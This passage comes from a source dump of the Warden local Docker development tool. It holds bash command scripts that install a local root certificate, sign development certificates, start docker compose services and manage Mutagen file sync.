    if [[ -f "${WARDEN_ENV_PATH}/.warden/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml" ]]; then
        export MUTAGEN_SYNC_FILE="${WARDEN_ENV_PATH}/.warden/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml"
    fi

    if [[ -f "${WARDEN_ENV_PATH}/.warden/mutagen.yml" ]]; then
        export MUTAGEN_SYNC_FILE="${WARDEN_ENV_PATH}/.warden/mutagen.yml"
    fi
fi

## pause mutagen sync if needed
if [[ "${WARDEN_PARAMS[0]}" == "stop" ]] \
    && [[ ${WARDEN_MUTAGEN_ENABLE} -eq 1 ]] && [[ -f "${MUTAGEN_SYNC_FILE}" ]]
then
    $WARDEN_BIN sync pause
fi

## pass orchestration through to docker compose
${DOCKER_COMPOSE_COMMAND} \
    --project-directory "${WARDEN_ENV_PATH}" -p "${WARDEN_ENV_NAME}" \
    "${DOCKER_COMPOSE_ARGS[@]}" "${WARDEN_PARAMS[@]}" "$@"


if [[ "${WARDEN_PARAMS[0]}" == "stop" || "${WARDEN_PARAMS[0]}" == "down" || \
      "${WARDEN_PARAMS[0]}" == "up" || "${WARDEN_PARAMS[0]}" == "start" ]]; then
    regeneratePMAConfig
fi

## resume mutagen sync if available and php-fpm container id hasn't changed
if { [[ "${WARDEN_PARAMS[0]}" == "up" ]] || [[ "${WARDEN_PARAMS[0]}" == "start" ]]; } \
    && [[ ${WARDEN_MUTAGEN_ENABLE} -eq 1 ]] && [[ -f "${MUTAGEN_SYNC_FILE}" ]] \
    && [[ $($WARDEN_BIN sync list | grep -ci 'Status: \[Paused\]' | awk '{print $1}') == "1" ]] \
    && [[ $($WARDEN_BIN env ps -q php-fpm) ]] \
    && [[ $(docker container inspect "$($WARDEN_BIN env ps -q php-fpm)" --format '{{ .State.Status }}') = "running" ]] \
    && [[ $($WARDEN_BIN env ps -q php-fpm) = $($WARDEN_BIN sync list | grep -i 'URL: docker' | awk -F'/' '{print $3}') ]]
then
    $WARDEN_BIN sync resume
fi

if [[ ${WARDEN_MUTAGEN_ENABLE} -eq 1 ]] && [[ -f "${MUTAGEN_SYNC_FILE}" ]] # If we're using Mutagen
then
  MUTAGEN_VERSION=$(mutagen version)
  CONNECTION_STATE_STRING='Connected state: Connected'
  if [[ $((10#$(version "${MUTAGEN_VERSION}"))) -ge $((10#$(version '0.15.0'))) ]]; then
    CONNECTION_STATE_STRING='Connected: Yes'
  fi

  ## start mutagen sync if needed
  if { [[ "${WARDEN_PARAMS[0]}" == "up" ]] || [[ "${WARDEN_PARAMS[0]}" == "start" ]]; } \
      && [[ $($WARDEN_BIN sync list | grep -c "${CONNECTION_STATE_STRING}" | awk '{print $1}') != "2" ]] \
      && [[ $($WARDEN_BIN env ps -q php-fpm) ]] \
      && [[ $(docker container inspect "$($WARDEN_BIN env ps -q php-fpm)" --format '{{ .State.Status }}') = "running" ]]
  then
      $WARDEN_BIN sync start
  fi
fi

## stop mutagen sync if needed
if [[ "${WARDEN_PARAMS[0]}" == "down" ]] \
    && [[ ${WARDEN_MUTAGEN_ENABLE} -eq 1 ]] && [[ -f "${MUTAGEN_SYNC_FILE}" ]]
then
    $WARDEN_BIN sync stop
fi


================================================
FILE: commands/env.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

COMPOSE_USAGE=$(${DOCKER_COMPOSE_COMMAND} "${WARDEN_PARAMS[@]}" "$@" \
  | grep -vE '(--file|--project-name|--project-directory|default: docker-compose.yml|default: directory name)' \
  | sed '1d;2d;s/docker-compose/env/' \
  | sed -E "s/^(Usage|Options|Commands):/$(echo -e "\033[33m\\1:\033[0m")/g"
)

WARDEN_USAGE=$(cat <<EOF
${COMPOSE_USAGE}
EOF
)


================================================
FILE: commands/install.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

source "${WARDEN_DIR}/utils/install.sh"

if [[ ! -d "${WARDEN_SSL_DIR}/rootca" ]]; then
    mkdir -p "${WARDEN_SSL_DIR}/rootca"/{certs,crl,newcerts,private}

    touch "${WARDEN_SSL_DIR}/rootca/index.txt"
    echo 1000 > "${WARDEN_SSL_DIR}/rootca/serial"
fi

# create CA root certificate if none present
if [[ ! -f "${WARDEN_SSL_DIR}/rootca/private/ca.key.pem" ]]; then
  echo "==> Generating private key for local root certificate"
  openssl genrsa -out "${WARDEN_SSL_DIR}/rootca/private/ca.key.pem" 2048
fi

if [[ ! -f "${WARDEN_SSL_DIR}/rootca/certs/ca.cert.pem" ]]; then
  echo "==> Signing root certificate 'Warden Proxy Local CA ($(hostname -s))'"
  openssl req -new -x509 -days 7300 -sha256 -extensions v3_ca \
    -config "${WARDEN_DIR}/config/openssl/rootca.conf"        \
    -key "${WARDEN_SSL_DIR}/rootca/private/ca.key.pem"        \
    -out "${WARDEN_SSL_DIR}/rootca/certs/ca.cert.pem"         \
    -subj "/C=US/O=Warden.dev/CN=Warden Proxy Local CA ($(hostname -s))"
fi

## trust root ca differently on Fedora, Ubuntu and macOS
if [[ "$OSTYPE" =~ ^linux ]] \
  && [[ -d /etc/pki/ca-trust/source/anchors ]] \
  && [[ ! -f /etc/pki/ca-trust/source/anchors/warden-proxy-local-ca.cert.pem ]] \
  ## Fedora/CentOS
then
  echo "==> Trusting root certificate (requires sudo privileges)"  
  sudo cp "${WARDEN_SSL_DIR}/rootca/certs/ca.cert.pem" /etc/pki/ca-trust/source/anchors/warden-proxy-local-ca.cert.pem
  sudo update-ca-trust
elif [[ "$OSTYPE" =~ ^linux ]] \
  && [[ -d /usr/local/share/ca-certificates ]] \
  && [[ ! -f /usr/local/share/ca-certificates/warden-proxy-local-ca.crt ]] \
  ## Ubuntu/Debian
then
  echo "==> Trusting root certificate (requires sudo privileges)"
  sudo cp "${WARDEN_SSL_DIR}/rootca/certs/ca.cert.pem" /usr/local/share/ca-certificates/warden-proxy-local-ca.crt
  sudo update-ca-certificates
elif [[ "$OSTYPE" == "darwin"* ]] \
  && ! security dump-trust-settings -d | grep 'Warden Proxy Local CA' >/dev/null \
  ## Apple macOS
then
  echo "==> Trusting root certificate (requires sudo privileges)"
  sudo security add-trusted-cert -d -r trustRoot \
    -k /Library/Keychains/System.keychain "${WARDEN_SSL_DIR}/rootca/certs/ca.cert.pem"
fi

## configure resolver for .test domains on Mac OS only as Linux lacks support
## for BSD like per-TLD configuration as is done at /etc/resolver/test on Mac
if [[ "$OSTYPE" == "darwin"* ]]; then
  if [[ ! -f /etc/resolver/test ]]; then
    echo "==> Configuring resolver for .test domains (requires sudo privileges)"
    if [[ ! -d /etc/resolver ]]; then
        sudo mkdir /etc/resolver
    fi
    echo "nameserver 127.0.0.1" | sudo tee /etc/resolver/test >/dev/null
  fi
else
  warning "Manual configuration required for Automatic DNS resolution: https://docs.warden.dev/configuration/dns-resolver.html"
fi

## generate rsa keypair for authenticating to warden sshd service
if [[ ! -f "${WARDEN_HOME_DIR}/tunnel/ssh_key" ]]; then
  echo "==> Generating rsa key pair for tunnel into sshd service"
  mkdir -p "${WARDEN_HOME_DIR}/tunnel"
  ssh-keygen -b 2048 -t rsa -f "${WARDEN_HOME_DIR}/tunnel/ssh_key" -N "" -C "user@tunnel.warden.test"
fi

## if host machine does not have composer installed, this directory will otherwise be created by docker with root:root
## causing problems so it's created as current user to avoid composer issues inside environments given it is mounted
if [[ ! -d ~/.composer ]]; then
  mkdir ~/.composer
fi

## since bind mounts are native on linux to use .pub file as authorized_keys file in tunnel it must have proper perms
if [[ "$OSTYPE" =~ ^linux ]] && [[ "$(stat -c '%U' "${WARDEN_HOME_DIR}/tunnel/ssh_key.pub")" != "root" ]]; then
  sudo chown root:root "${WARDEN_HOME_DIR}/tunnel/ssh_key.pub"
fi

## append settings for tunnel.warden.test in /etc/ssh/ssh_config
installSshConfig

## Add optional Warden configuration file
if [[ ! -f "${WARDEN_HOME_DIR}/.env" ]]; then
	cat >> "${WARDEN_HOME_DIR}/.env" <<-EOT
		# Set to "1" to enable global Portainer service
		WARDEN_PORTAINER_ENABLE=0
		# Set to "0" to disable DNSMasq
		WARDEN_DNSMASQ_ENABLE=1
		# Set to "0" to disable phpMyAdmin
		WARDEN_PHPMYADMIN_ENABLE=1
		# Set to "0" to disabled Mutagen.  Keep commented out to use System default (Darwin defaults to 1)
		# WARDEN_MUTAGEN_ENABLE=0
	EOT
fi


================================================
FILE: commands/redis.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?
assertDockerRunning

if [[ ${WARDEN_REDIS:-1} -eq 0 ]]; then
  fatal "Redis environment is not used (WARDEN_REDIS=0)."
fi

if [[ "${WARDEN_PARAMS[0]}" == "help" ]]; then
  $WARDEN_BIN redis --help || exit $? && exit $?
fi

## load connection information for the redis service
REDIS_CONTAINER=$($WARDEN_BIN env ps -q redis)
if [[ ! ${REDIS_CONTAINER} ]]; then
    fatal "No container found for redis service."
fi

"$WARDEN_BIN" env exec redis redis-cli "${WARDEN_PARAMS[@]}" "$@"


================================================
FILE: commands/redis.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  redis                     Launches an interactive redis session within the current project environment
  redis COMMAND             Execute any valid Redis command within the current project environment

\033[33mOptions:\033[0m
  -h, --help        Display this help menu
EOF
)


================================================
FILE: commands/shell.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?

## set defaults for this command which can be overridden either using exports in the user
## profile or setting them in the .env configuration on a per-project basis
WARDEN_ENV_SHELL_COMMAND=${WARDEN_ENV_SHELL_COMMAND:-bash}
WARDEN_ENV_SHELL_CONTAINER=${WARDEN_ENV_SHELL_CONTAINER:-php-fpm}

## allow return codes from sub-process to bubble up normally
trap '' ERR

"$WARDEN_BIN" env exec "${WARDEN_ENV_SHELL_CONTAINER}" \
    "${WARDEN_ENV_SHELL_COMMAND}" "${WARDEN_PARAMS[@]}" "$@"


================================================
FILE: commands/shell.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  shell [args]

\033[33mOptions:\033[0m
  -h, --help        Display this help menu
EOF
)


================================================
FILE: commands/sign-certificate.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

mkdir -p "${WARDEN_SSL_DIR}/certs"

if [[ ! -f "${WARDEN_SSL_DIR}/rootca/certs/ca.cert.pem" ]]; then
  fatal "Missing the root CA file. Please run 'warden install' and try again."
fi

if (( ${#WARDEN_PARAMS[@]} == 0 )); then
  echo -e "\033[33mCommand '${WARDEN_CMD_VERB}' requires a hostname as an argument, please use --help for details."
  exit -1
fi

CERTIFICATE_SAN_LIST=
for (( i = 0; i < ${#WARDEN_PARAMS[@]} * 2; i+=2 )); do
  [[ ${CERTIFICATE_SAN_LIST} ]] && CERTIFICATE_SAN_LIST+=","
  CERTIFICATE_SAN_LIST+="DNS.$(expr $i + 1):${WARDEN_PARAMS[i/2]}"
  CERTIFICATE_SAN_LIST+=",DNS.$(expr $i + 2):*.${WARDEN_PARAMS[i/2]}"
done

CERTIFICATE_NAME="${WARDEN_PARAMS[0]}"

if [[ -f "${WARDEN_SSL_DIR}/certs/${CERTIFICATE_NAME}.key.pem" ]]; then
    >&2 echo -e "\033[33mWarning: Certificate for ${CERTIFICATE_NAME} already exists! Overwriting...\033[0m\n"
fi

echo "==> Generating private key ${CERTIFICATE_NAME}.key.pem"
openssl genrsa -out "${WARDEN_SSL_DIR}/certs/${CERTIFICATE_NAME}.key.pem" 2048

echo "==> Generating signing req ${CERTIFICATE_NAME}.crt.pem"
openssl req -new -sha256 -config <(cat                            \
    "${WARDEN_DIR}/config/openssl/certificate.conf"               \
    <(printf "extendedKeyUsage = serverAuth,clientAuth \n         \
      subjectAltName = %s" "${CERTIFICATE_SAN_LIST}")             \
  )                                                               \
  -key "${WARDEN_SSL_DIR}/certs/${CERTIFICATE_NAME}.key.pem"      \
  -out "${WARDEN_SSL_DIR}/certs/${CERTIFICATE_NAME}.csr.pem"      \
  -subj "/C=US/O=Warden.dev/CN=${CERTIFICATE_NAME}"

echo "==> Generating certificate ${CERTIFICATE_NAME}.crt.pem"
openssl x509 -req -days 365 -sha256 -extensions v3_req            \
  -extfile <(cat                                                  \
    "${WARDEN_DIR}/config/openssl/certificate.conf"               \
    <(printf "extendedKeyUsage = serverAuth,clientAuth \n         \
      subjectAltName = %s" "${CERTIFICATE_SAN_LIST}")             \
  )                                                               \
  -CA "${WARDEN_SSL_DIR}/rootca/certs/ca.cert.pem"                \
  -CAkey "${WARDEN_SSL_DIR}/rootca/private/ca.key.pem"            \
  -CAserial "${WARDEN_SSL_DIR}/rootca/serial"                     \
  -in "${WARDEN_SSL_DIR}/certs/${CERTIFICATE_NAME}.csr.pem"       \
  -out "${WARDEN_SSL_DIR}/certs/${CERTIFICATE_NAME}.crt.pem" 

if [[ "$(${WARDEN_BIN} svc ps -q traefik 2>/dev/null)" ]]
then
  echo "==> Updating traefik"
  "$WARDEN_BIN" svc up traefik
  "$WARDEN_BIN" svc restart traefik
fi


================================================
FILE: commands/sign-certificate.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  sign-certificate <hostname> [hostname2] [hostname3] ...

\033[33mOptions:\033[0m
  -h, --help        Display this help menu
EOF
)


================================================
FILE: commands/spx.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?

## set defaults for this command which can be overridden either using exports in the user
## profile or setting them in the .env configuration on a per-project basis
WARDEN_ENV_SPX_COMMAND=${WARDEN_ENV_SPX_COMMAND:-bash}
WARDEN_ENV_SPX_CONTAINER=${WARDEN_ENV_SPX_CONTAINER:-php-spx}

## allow return codes from sub-process to bubble up normally
trap '' ERR

"$WARDEN_BIN" env exec "${WARDEN_ENV_SPX_CONTAINER}" \
    "${WARDEN_ENV_SPX_COMMAND}" "${WARDEN_PARAMS[@]}" "$@"


================================================
FILE: commands/spx.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  spx [args]

\033[33mOptions:\033[0m
  -h, --help        Display this help menu
EOF
)


================================================
FILE: commands/status.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

assertDockerRunning

wardenNetworkName=$(cat ${WARDEN_DIR}/docker/docker-compose.yml | grep -A3 'networks:' | tail -n1 | sed -e 's/[[:blank:]]*name:[[:blank:]]*//g')
wardenNetworkId=$(docker network ls -q --filter name="${wardenNetworkName}")

if [[ -z "${wardenNetworkId}" ]]; then
    echo -e "[\033[33;1m!!\033[0m] \033[31mWarden is not currently running.\033[0m Run \033[36mwarden svc up\033[0m to start Warden core services."
fi

OLDIFS="$IFS";
IFS=$'\n'
projectNetworkList=( $(docker network ls --format '{{.Name}}' -q --filter "label=dev.warden.environment.name") )
IFS="$OLDIFS"

messageList=()
for projectNetwork in "${projectNetworkList[@]}"; do
    # Skip empty names and the Warden core services network
    test -z "${projectNetwork}" -o "${projectNetwork}" = "${wardenNetworkName}" && continue

    prefix="${projectNetwork%_default}"
    prefixLen="${#prefix}"
    ((prefixLen+=1))
    projectContainers=$(docker network inspect --format '{{ range $k,$v := .Containers }}{{ $nameLen := len $v.Name }}{{ if gt $nameLen '"${prefixLen}"' }}{{ $prefix := slice $v.Name 0 '"${prefixLen}"' }}{{ if eq $prefix "'"${prefix}-"'" }}{{ println $v.Name }}{{end}}{{end}}{{end}}' "${projectNetwork}")
    container=$(echo "$projectContainers" | head -n1)

    [[ -z "${container}" ]] && continue # Project is not running, skip it

    projectDir=$(docker container inspect --format '{{ index .Config.Labels "com.docker.compose.project.working_dir"}}' "$container")
    projectName=$(cat "${projectDir}/.env" | grep '^WARDEN_ENV_NAME=' | sed -e 's/WARDEN_ENV_NAME=[[:space:]]*//g')
    projectType=$(cat "${projectDir}/.env" | grep '^WARDEN_ENV_TYPE=' | sed -e 's/WARDEN_ENV_TYPE=[[:space:]]*//g')
    traefikDomain=$(cat "${projectDir}/.env" | grep '^TRAEFIK_DOMAIN=' | sed -e 's/TRAEFIK_DOMAIN=[[:space:]]*//g')
    traefikSubdomain=$(cat "${projectDir}/.env" | grep '^TRAEFIK_SUBDOMAIN=' | sed -e 's/TRAEFIK_SUBDOMAIN=[[:space:]]*//g')

    fullDomain="${traefikDomain}"
    if test -n "${traefikSubdomain}"; then
        fullDomain="${traefikSubdomain}.${traefikDomain}"
    fi

    messageList+=("    \033[1;35m${projectName}\033[0m a \033[36m${projectType}\033[0m project")
    messageList+=("       Project Directory: \033[33m${projectDir}\033[0m")
    messageList+=("       Project URL: \033[94mhttps://${fullDomain}\033[0m")

    [[ "$projectNetwork" != "${projectNetworkList[@]: -1:1}" ]] && messageList+=()
done

if [[ "${#messageList[@]}" > 0 ]]; then
    if [[ -z "${wardenNetworkId}" ]]; then
        echo -e "Found the following \033[32mrunning\033[0m projects; however, \033[31mWarden core services are currently not running\033[0m:"
    else
        echo -e "Found the following \033[32mrunning\033[0m environments:"
    fi
    for line in "${messageList[@]}"; do
        echo -e "$line"
    done
else
    echo "No running environments found."
fi


================================================
FILE: commands/status.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE="Provides listing of projects that are currently running that Warden has been used to start"

================================================
FILE: commands/svc.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

source "${WARDEN_DIR}/utils/install.sh"
assertWardenInstall
assertDockerRunning

if (( ${#WARDEN_PARAMS[@]} == 0 )) || [[ "${WARDEN_PARAMS[0]}" == "help" ]]; then
  $WARDEN_BIN svc --help || exit $? && exit $?
fi

## allow return codes from sub-process to bubble up normally
trap '' ERR

## configure docker compose files
DOCKER_COMPOSE_ARGS=()

DOCKER_COMPOSE_ARGS+=("-f")
DOCKER_COMPOSE_ARGS+=("${WARDEN_DIR}/docker/docker-compose.yml")

if [[ -f "${WARDEN_HOME_DIR}/.env" ]]; then
    # Check DNSMasq
    eval "$(grep "^WARDEN_DNSMASQ_ENABLE" "${WARDEN_HOME_DIR}/.env")"
    # Check Portainer
    eval "$(grep "^WARDEN_PORTAINER_ENABLE" "${WARDEN_HOME_DIR}/.env")"

    # Check Docker socket
    eval "$(grep "^WARDEN_DOCKER_SOCK" "${WARDEN_HOME_DIR}/.env")"

    # Check PMA
    eval "$(grep "^WARDEN_PHPMYADMIN_ENABLE" "${WARDEN_HOME_DIR}/.env")"
fi

export WARDEN_DOCKER_SOCK="${WARDEN_DOCKER_SOCK:-/var/run/docker.sock}"
DOCKER_COMPOSE_ARGS+=("-f")
DOCKER_COMPOSE_ARGS+=("${WARDEN_DIR}/docker/docker-compose.mailpit.yml")

## add dnsmasq docker-compose
WARDEN_DNSMASQ_ENABLE="${WARDEN_DNSMASQ_ENABLE:-1}"
if [[ "$WARDEN_DNSMASQ_ENABLE" == "1" ]]; then
    DOCKER_COMPOSE_ARGS+=("-f")
    DOCKER_COMPOSE_ARGS+=("${WARDEN_DIR}/docker/docker-compose.dnsmasq.yml")
fi

WARDEN_PORTAINER_ENABLE="${WARDEN_PORTAINER_ENABLE:-0}"
if [[ "${WARDEN_PORTAINER_ENABLE}" == 1 ]]; then
    DOCKER_COMPOSE_ARGS+=("-f")
    DOCKER_COMPOSE_ARGS+=("${WARDEN_DIR}/docker/docker-compose.portainer.yml")
fi

WARDEN_PHPMYADMIN_ENABLE="${WARDEN_PHPMYADMIN_ENABLE:-1}"
if [[ "${WARDEN_PHPMYADMIN_ENABLE}" == 1 ]]; then
    if [[ -d "${WARDEN_HOME_DIR}/etc/phpmyadmin/config.user.inc.php" ]]; then
        rm -rf ${WARDEN_HOME_DIR}/etc/phpmyadmin/config.user.inc.php
    fi
    if [[ ! -f "${WARDEN_HOME_DIR}/etc/phpmyadmin/config.user.inc.php" ]]; then
        mkdir -p "${WARDEN_HOME_DIR}/etc/phpmyadmin"
        touch ${WARDEN_HOME_DIR}/etc/phpmyadmin/config.user.inc.php
    fi
    DOCKER_COMPOSE_ARGS+=("-f")
    DOCKER_COMPOSE_ARGS+=("${WARDEN_DIR}/docker/docker-compose.phpmyadmin.yml")
fi

## allow an additional docker-compose file to be loaded for global services
if [[ -f "${WARDEN_HOME_DIR}/docker-compose.yml" ]]; then
    DOCKER_COMPOSE_ARGS+=("-f")
    DOCKER_COMPOSE_ARGS+=("${WARDEN_HOME_DIR}/docker-compose.yml")
fi

## special handling when 'svc up' is run
if [[ "${WARDEN_PARAMS[0]}" == "up" ]]; then

    ## sign certificate used by global services (by default warden.test)
    if [[ -f "${WARDEN_HOME_DIR}/.env" ]]; then
        eval "$(grep "^WARDEN_SERVICE_DOMAIN" "${WARDEN_HOME_DIR}/.env")"
    fi

    WARDEN_SERVICE_DOMAIN="${WARDEN_SERVICE_DOMAIN:-warden.test}"
    if [[ ! -f "${WARDEN_SSL_DIR}/certs/${WARDEN_SERVICE_DOMAIN}.crt.pem" ]]; then
        "$WARDEN_BIN" sign-certificate "${WARDEN_SERVICE_DOMAIN}"
    fi

    if [[ ! -d "${WARDEN_HOME_DIR}/etc/traefik" ]]; then
        mkdir -p "${WARDEN_HOME_DIR}/etc/traefik"
    fi

    ## copy configuration files into location where they'll be mounted into containers from
    if [[ ! -f "${WARDEN_HOME_DIR}/etc/traefik/traefik.yml" ]]; then
        cp "${WARDEN_DIR}/config/traefik/traefik.yml" "${WARDEN_HOME_DIR}/etc/traefik/traefik.yml"
    fi

    ## generate dynamic traefik ssl termination configuration
    cat > "${WARDEN_HOME_DIR}/etc/traefik/dynamic.yml" <<-EOT
		tls:
		  stores:
		    default:
		      defaultCertificate:
		        certFile: /etc/ssl/certs/warden/${WARDEN_SERVICE_DOMAIN}.crt.pem
		        keyFile: /etc/ssl/certs/warden/${WARDEN_SERVICE_DOMAIN}.key.pem
		  certificates:
	EOT

    for cert in $(find "${WARDEN_SSL_DIR}/certs" -type f -name "*.crt.pem" | sed -E 's#^.*/ssl/certs/(.*)\.crt\.pem$#\1#'); do
        cat >> "${WARDEN_HOME_DIR}/etc/traefik/dynamic.yml" <<-EOF
		    - certFile: /etc/ssl/certs/warden/${cert}.crt.pem
		      keyFile: /etc/ssl/certs/warden/${cert}.key.pem
		EOF
    done

    ## always execute svc up using --detach mode
    if ! (containsElement "-d" "$@" || containsElement "--detach" "$@"); then
        WARDEN_PARAMS=("${WARDEN_PARAMS[@]:1}")
        WARDEN_PARAMS=(up -d "${WARDEN_PARAMS[@]}")
    fi
fi

## pass ochestration through to docker compose
WARDEN_SERVICE_DIR=${WARDEN_DIR} ${DOCKER_COMPOSE_COMMAND} \
    --project-directory "${WARDEN_HOME_DIR}" -p warden \
    "${DOCKER_COMPOSE_ARGS[@]}" "${WARDEN_PARAMS[@]}" "$@"

## connect peered service containers to environment networks when 'svc up' is run
if [[ "${WARDEN_PARAMS[0]}" == "up" ]]; then
    for network in $(docker network ls -f label=dev.warden.environment.name --format {{.Name}}); do
        connectPeeredServices "${network}"
    done

    if [[ "${WARDEN_PHPMYADMIN_ENABLE}" == 1 ]]; then
        regeneratePMAConfig
    fi
fi


================================================
FILE: commands/svc.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

COMPOSE_USAGE=$(${DOCKER_COMPOSE_COMMAND} "${WARDEN_PARAMS[@]}" "$@" \
  | grep -vE '(--file|--project-name|--project-directory|default: docker-compose.yml|default: directory name)' \
  | sed '1d;2d;s/docker-compose/svc/' \
  | sed -E "s/^(Usage|Options|Commands):/$(echo -e "\033[33m\\1:\033[0m")/g"
)

WARDEN_USAGE=$(cat <<EOF
${COMPOSE_USAGE}
EOF
)


================================================
FILE: commands/sync.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?

if (( ${#WARDEN_PARAMS[@]} == 0 )); then
  fatal "This command has required params; use --help for details."
fi

## disable sync command when WARDEN_MUTAGEN_ENABLE is set to 0
if [[ ${WARDEN_MUTAGEN_ENABLE} -eq 0 ]]; then
  fatal "Mutagen sync is disabled in the config file."
fi

## disable sync command on non-darwin environments where it should not be used
if [[ ${WARDEN_ENV_SUBT} != "darwin" ]]; then
  fatal "Mutagen sync sessions are not used on \"${WARDEN_ENV_SUBT}\" host environments."
fi

## attempt to install mutagen if not already present
if ! which mutagen >/dev/null; then
  echo -e "\033[33mMutagen could not be found; attempting install via brew.\033[0m"
  brew install havoc-io/mutagen/mutagen
fi

## verify mutagen version constraint
MUTAGEN_VERSION=$(mutagen version 2>/dev/null) || true
MUTAGEN_REQUIRE=0.11.8
if [[ $OSTYPE =~ ^darwin ]] && ! test $(version ${MUTAGEN_VERSION}) -ge $(version ${MUTAGEN_REQUIRE}); then
  error "Mutagen version ${MUTAGEN_REQUIRE} or greater is required (version ${MUTAGEN_VERSION} is installed)."
  >&2 printf "\nPlease update Mutagen:\n\n  brew upgrade havoc-io/mutagen/mutagen\n\n"
  exit 1
fi

if [[ $OSTYPE =~ ^darwin && -z "${MUTAGEN_SYNC_FILE}" ]]; then
    export MUTAGEN_SYNC_FILE="${WARDEN_DIR}/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml"

    if [[ -f "${WARDEN_HOME_DIR}/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml" ]]; then
        export MUTAGEN_SYNC_FILE="${WARDEN_HOME_DIR}/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml"
    fi

    if [[ -f "${WARDEN_ENV_PATH}/.warden/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml" ]]; then
        export MUTAGEN_SYNC_FILE="${WARDEN_ENV_PATH}/.warden/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.mutagen.yml"
    fi

    if [[ -f "${WARDEN_ENV_PATH}/.warden/mutagen.yml" ]]; then
        export MUTAGEN_SYNC_FILE="${WARDEN_ENV_PATH}/.warden/mutagen.yml"
    fi
fi

## if no mutagen configuration file exists for the environment type, exit with error
if [[ ! -f "${MUTAGEN_SYNC_FILE}" ]]; then
  fatal "Mutagen configuration does not exist for environment type \"${WARDEN_ENV_TYPE}\""
fi

## sub-command execution
case "${WARDEN_PARAMS[0]}" in
    start)
        ## terminate any existing sessions with matching env label
        mutagen sync terminate --label-selector "warden-sync=${WARDEN_ENV_NAME}"

        ## create sync session based on environment type configuration
        mutagen sync create -c "${MUTAGEN_SYNC_FILE}" \
            --label "warden-sync=${WARDEN_ENV_NAME}" --ignore "${WARDEN_SYNC_IGNORE:-}" \
            "${WARDEN_ENV_PATH}${WARDEN_WEB_ROOT:-}" "docker://$($WARDEN_BIN env ps -q php-fpm)/var/www/html"

        ## wait for sync session to complete initial sync before exiting
        echo "Waiting for initial synchronization to complete"
        while ! mutagen sync list --label-selector "warden-sync=${WARDEN_ENV_NAME}" \
            | grep -i 'watching for changes'>/dev/null;
                do
                    if mutagen sync list --label-selector "warden-sync=${WARDEN_ENV_NAME}" \
                        | grep -i 'Last error' > /dev/null; then
                        MUTAGEN_ERROR=$(mutagen sync list --label-selector "warden-sync=${WARDEN_ENV_NAME}" \
                            | sed -n 's/Last error: \(.*\)/\1/p')
                        fatal "Mutagen encountered an error during sync: ${MUTAGEN_ERROR}"
                    fi
                    printf .; sleep 1; done; echo
        ;;
    stop)
        mutagen sync terminate --label-selector "warden-sync=${WARDEN_ENV_NAME}"
        ;;
    list|flush|monitor|pause|reset|resume)
        mutagen sync "${WARDEN_PARAMS[@]}" "${@}" --label-selector "warden-sync=${WARDEN_ENV_NAME}"
        ;;
    *)
        fatal "The command \"${WARDEN_PARAMS[0]}\" does not exist. Please use --help for usage."
        ;;
esac


================================================
FILE: commands/sync.help
================================================
#!/usr/bin/env bash
